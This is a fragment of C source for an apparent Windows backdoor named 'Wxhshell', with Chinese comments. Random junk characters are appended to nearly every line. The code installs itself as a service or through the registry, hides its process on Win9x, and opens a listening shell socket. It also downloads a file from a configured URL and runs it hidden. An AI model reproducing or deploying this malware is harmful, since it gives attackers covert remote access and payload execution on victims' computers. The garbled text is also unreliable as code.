DWORD AffinityMask; @bAuR
DWORD BasePriority; K|D1
ULONG UniqueProcessId; ^@Qc!(P
ULONG InheritedFromUniqueProcessId; W%MS,zkAE
} PROCESS_BASIC_INFORMATION; +T,0,^*
LOwd mj
PROCNTQSIP NtQueryInformationProcess; #Hl?R5
L|'B*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 05jjLM'e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zG%'Cw)8
QM~~b=P,\
HANDLE hProcess; |v#rSVx
PROCESS_BASIC_INFORMATION pbi; Da)_O JYE
CLuQ=-[|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )g^O'e=m
if(NULL == hInst ) return 0; wq8&2(|Fc
U{@2kg-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (*T$:/zIS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2P=~6(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L{XW2c$h
Vhe$vH
if (!NtQueryInformationProcess) return 0; u3Zu ~C
X<v1ES$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _1YC9}
if(!hProcess) return 0; =L?2[a$2;
^oE#;aS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q(2ZJn13f
_ib
@<%
CloseHandle(hProcess); e)XnS '
[e{W:7uFV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *.T?#H
if(hProcess==NULL) return 0; )tS;gn
{([`[7B>a<
HMODULE hMod; <33,0."K
char procName[255]; mO8/eVws[M
unsigned long cbNeeded; o?IrDQ2gmh
Czy}~;_Ay
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E},zB*5TH
]9W7]$
CloseHandle(hProcess); 5-&"nn2*}1
*|@386\
if(strstr(procName,"services")) return 1; // 以服务启动 $e uI
T_9o0Q k
return 0; // 注册表启动 mGJRCK_
} bu08`P9
l<7SB5
// 主模块 VZ
7(6?W
int StartWxhshell(LPSTR lpCmdLine) )$d~HA@B
{ Krl9O]H/[
SOCKET wsl; 7 Z?
Hyv
BOOL val=TRUE; uZI7,t -7
int port=0; H9!q)qlK
struct sockaddr_in door; cVr+Wp7K#|
G9GLRdP
if(wscfg.ws_autoins) Install(); <:8Ew
YJ~mcaw
port=atoi(lpCmdLine); Z
B!~@Vf
U9
mK^
if(port<=0) port=wscfg.ws_port; sN#ju5
$>+g)
WSADATA data; dI!/H&`B]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6mgLeeY
*{\))Zmhd
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (<e<Q~(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MY}K.^4^
door.sin_family = AF_INET; B`jq"[w]-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1i)3!fH0:
door.sin_port = htons(port); Jz P0D'
h[<l2fy
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GY^;$ ?
closesocket(wsl); H4sc7-
return 1; 1<*U:W
$g
} }WBHuVcZG
q1ZZ T"'
if(listen(wsl,2) == INVALID_SOCKET) { @S>;t)\J
closesocket(wsl); Ap4.c8f?Q-
return 1; | :id/
} MpIiHKQ
G9
Wxhshell(wsl); lXzm)
WSACleanup(); !aL=R)G&e
o)R<sT
return 0; n.C5w8f
kJNwA8 7
} h@y>QhYU0
\wK4bvUrX
// 以NT服务方式启动 VYt<j<ba
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m^,VEV>
{ N0JdU4'
DWORD status = 0; eg1F[~YL/
DWORD specificError = 0xfffffff; ,(f W0d#
Ed2A\S6tl
serviceStatus.dwServiceType = SERVICE_WIN32; uv^x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; HIC!:|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Htln <N
serviceStatus.dwWin32ExitCode = 0; qV/>d',
serviceStatus.dwServiceSpecificExitCode = 0; ?ks.M'@
serviceStatus.dwCheckPoint = 0; }6=)w@v
serviceStatus.dwWaitHint = 0; A5%$<
,H^!G\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1X9s\JKQ
if (hServiceStatusHandle==0) return; g#cet{>
Wcm8,?*
status = GetLastError(); 7?y7fwER
if (status!=NO_ERROR) HPJHA ,
{ 1MT,A_L
serviceStatus.dwCurrentState = SERVICE_STOPPED; f*9O39&|
serviceStatus.dwCheckPoint = 0; 7q5*grm
serviceStatus.dwWaitHint = 0; =2ED
w_5E
serviceStatus.dwWin32ExitCode = status; g2=PZR$
serviceStatus.dwServiceSpecificExitCode = specificError; ts=:r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 49c-`[d
L
return; Vo6g /h?`
} n\f]?B(
9\/oL{
serviceStatus.dwCurrentState = SERVICE_RUNNING;
r9L--#=z
serviceStatus.dwCheckPoint = 0; ZmNNR 1%/
serviceStatus.dwWaitHint = 0; p(8 @
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *c&|2EsZ
} M]/DKo
a ~W
// 处理NT服务事件,比如:启动、停止 U%[ye0@:
VOID WINAPI NTServiceHandler(DWORD fdwControl) '
2O@
{ {8`$~c
switch(fdwControl)
UT9u?
{ P8ZmrtQm
case SERVICE_CONTROL_STOP: Y:, rN
serviceStatus.dwWin32ExitCode = 0; $ ]#WC\Hv
serviceStatus.dwCurrentState = SERVICE_STOPPED; As`=K$^Il.
serviceStatus.dwCheckPoint = 0; CH;U_b
serviceStatus.dwWaitHint = 0; ^w2 HF
{
KLE)+|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \iP@|ay9
} Ym!e}`A\F
return; Eh|,[D!E
case SERVICE_CONTROL_PAUSE: BenyA:W"
serviceStatus.dwCurrentState = SERVICE_PAUSED; (Cfb8\~
break; QCE7VV1Rw
case SERVICE_CONTROL_CONTINUE: 0Oc?:R'$
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ki7t?4YE
break; ,sL%Ykr
case SERVICE_CONTROL_INTERROGATE: U V*Ruy-
break; 7]ysvSM
}; 6)P.wW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CH
29kQ
} k+w Ji
rjO{B`sV*
// 标准应用程序主函数 w>=N~0@t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c;fLM`{*
{ 7v)p\#-
hqmE]hwc
// 获取操作系统版本 `[U.BVP'
OsIsNt=GetOsVer(); _vDmiIn6K
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1EEcNtpub]
a#;;0R $
// 从命令行安装 #jW=K&;
if(strpbrk(lpCmdLine,"iI")) Install(); $~W5! m
&} `a"tYr
// 下载执行文件 =!xX{o?64
if(wscfg.ws_downexe) { D&D6!jz
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) " QiR
WinExec(wscfg.ws_filenam,SW_HIDE); lv'WRS'}
} '?L^Fa_H
kLZVTVSJt
if(!OsIsNt) { l:uQ#Z)
// 如果时win9x,隐藏进程并且设置为注册表启动 x3+{Y
HideProc(); ^87 9sI
StartWxhshell(lpCmdLine); 6w,"i#E!
} *4}NLUVX
else ^-[
I;P
if(StartFromService()) V|$PO
Qa3
// 以服务方式启动 p?,<{mAe
StartServiceCtrlDispatcher(DispatchTable); !$oa6*<1
else %xOxMK@
// 普通方式启动 #?jsC)
StartWxhshell(lpCmdLine); )H{1Xjh-
tHZ"o!(S
return 0; ^MF 2Q+
}